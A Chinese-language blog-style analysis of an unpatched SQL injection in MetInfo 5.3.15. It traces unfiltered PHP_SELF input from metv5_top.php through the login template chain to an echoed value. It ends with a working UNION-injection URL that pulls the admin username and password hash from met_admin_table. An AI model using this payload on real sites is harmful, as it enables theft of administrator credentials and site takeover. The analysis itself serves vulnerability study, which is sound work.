metinfo最新版一处未修复的SQL注入详细分析
网上的poc早都出来了,然而分析的都很简略,最新版的5.3.15还是未修复。cherry师傅分析的挺详细的,顺着思路自己捋了一遍
1)首先漏洞点在/app/system/include/compatible/metv5_top.php中大约第26行
//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);
因为直接的PHP_SELF没有WAF防护,所以无过滤,上述代码会分割url然后带入到SQL语句中执行,数据库的结果集为$column,然后在该文件的第57行
$classnow = $column['id'];
会把结果集的id字段赋给$classnow,$classnow在后面的页面中有回显,最后要用到。
这个漏洞点简单,关键是寻找利用点
2)利用点在/member/login.php中,正向跟代码,其中第11行
require_once '../app/system/entrance.php';
继续跟,在/app/system/entrance.php中最后两行
require_once PATH_SYS_CLASS.'load.class.php';
load::module();
会调用/app/system/include/class/load.class.php文件,跟一下module函数
public static function module($path = '', $modulename = '', $action = '') {
if (!$path) {
if (!$path) $path = PATH_OWN_FILE;
if (!$modulename) $modulename = M_CLASS;
if (!$action) $action = M_ACTION;
if (!$action) $action = 'doindex';
}
return self::_load_class($path, $modulename, $action);
}
其中return self::_load_class($path, $modulename, $action);
会调用_load_class函数
private static function _load_class($path, $classname, $action = '') {
$classname=str_replace('.class.php', '', $classname);
$is_myclass = 0;
if(!self::$mclass[$classname]){
if(file_exists($path.$classname.'.class.php')){
require_once $path.$classname.'.class.php';
} else {
echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
exit;
}
$myclass = "my_{$classname}";
if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
$is_myclass = 1;
require_once $path.'myclass/'.$myclass.'.class.php';
}
}
if ($action) {
if (!class_exists($classname)) {
die($action.' class\'s file is not exists!!!');
}
if(self::$mclass[$classname]){
$newclass = self::$mclass[$classname];
}else{
if($is_myclass){
$newclass = new $myclass;
}else{
$newclass = new $classname;
}
self::$mclass[$classname] = $newclass;
}
if ($action!='new') {
if(substr($action, 0, 2) != 'do'){
die($action.' function no permission load!!!');
}
if(method_exists($newclass, $action)){
var_dump($newclass);
var_dump($action);
call_user_func(array($newclass, $action));
}else{
die($action.' function is not exists!!!');
}
}
return $newclass;
}
return true;
}
其中call_user_func(array($newclass, $action));
会调用类和方法,这里我输出了一下,是login类的doindex方法,
在/app/system/web/user/login.class.php中,
public function doindex() {
global $_M;
$session = load::sys_class('session', 'new');
// 如果已登录直接跳转到个人中心
if($_M['user'])
{
okinfo($_M['url']['user_home']);
}
// 如果从其他页面过来
if(isset($_SERVER['HTTP_REFERER']))
{
// 是否从本站过来
$referer = parse_url($_SERVER['HTTP_REFERER']);
if($referer['host']==$_SERVER['HTTP_HOST'])
{
// 来源页面保存到cookie
setcookie("referer",$_SERVER['HTTP_REFERER']);
}
}
if($session->get("logineorrorlength")>3)$code=1;
require_once $this->template('tem/login');
}
其中这行
require_once $this->template('tem/login');
跟进去,在/app/system/web/user/class/userweb.class.php中
protected function template($path){
global $_M;
#var_dump($path);
list($postion, $file) = explode('/',$path);
if ($postion == 'own') {
return PATH_OWN_FILE."templates/met/{$file}.php";
}
if ($postion == 'ui') {
return PATH_SYS."include/public/ui/web/{$file}.php";
}
if($postion == 'tem'){
if($_M['custom_template']['sys_content']){
$flag = 1;
}else{
$flag = 0;
}
if (file_exists(PATH_TEM."user/{$file}.php")) {
$_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php";
}else{
if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
$_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
}
}
if($flag == 1){
return $_M['custom_template']['sys_content'];
}else{
return $this->template('ui/compatible');
}
}
}
走一下流程,初次调用时$path为tem/login,然后走到这里
if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
$_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
}
其中$_M['custom_template']['sys_content']
我们输出一下为
\app\system\web\user\templates\met\login.php
是一个模板文件,之后回显的时候要用到
然后执行到
return $this->template('ui/compatible');
会再一次调用template函数,最后的返回值是/app/system/include/public/ui/web/compatible.php
也就是最终会调用compatible.php文件,在该文件中
require_once PATH_WEB.'app/system/include/compatible/metv5_top.php';
require_once $_M['custom_template']['sys_content'];
会调用metv5_top.php文件,正是开头所说的漏洞文件;会调用$_M'custom_template',而之前我们得到该变量的值为
\app\system\web\user\templates\met\login.php
也就是会调用login.php文件,这个文件就是回显,其中第六行
require_once $this->template('tem/head');
会调用/app/system/web/user/templates/met/head.php文件,其中第15行
data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" />
其中输出的$classnow就是我们开头所说的数据库结果集赋的值,可以显示出来,union注入即可
所以网上的poc为
http://localhost/metinfo/member/login.php/aa'UNION%20SELECT%20(select%20concat(admin_id,0x23,admin_pass)%20from%20met_admin_table%20limit%201),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa
右键看源码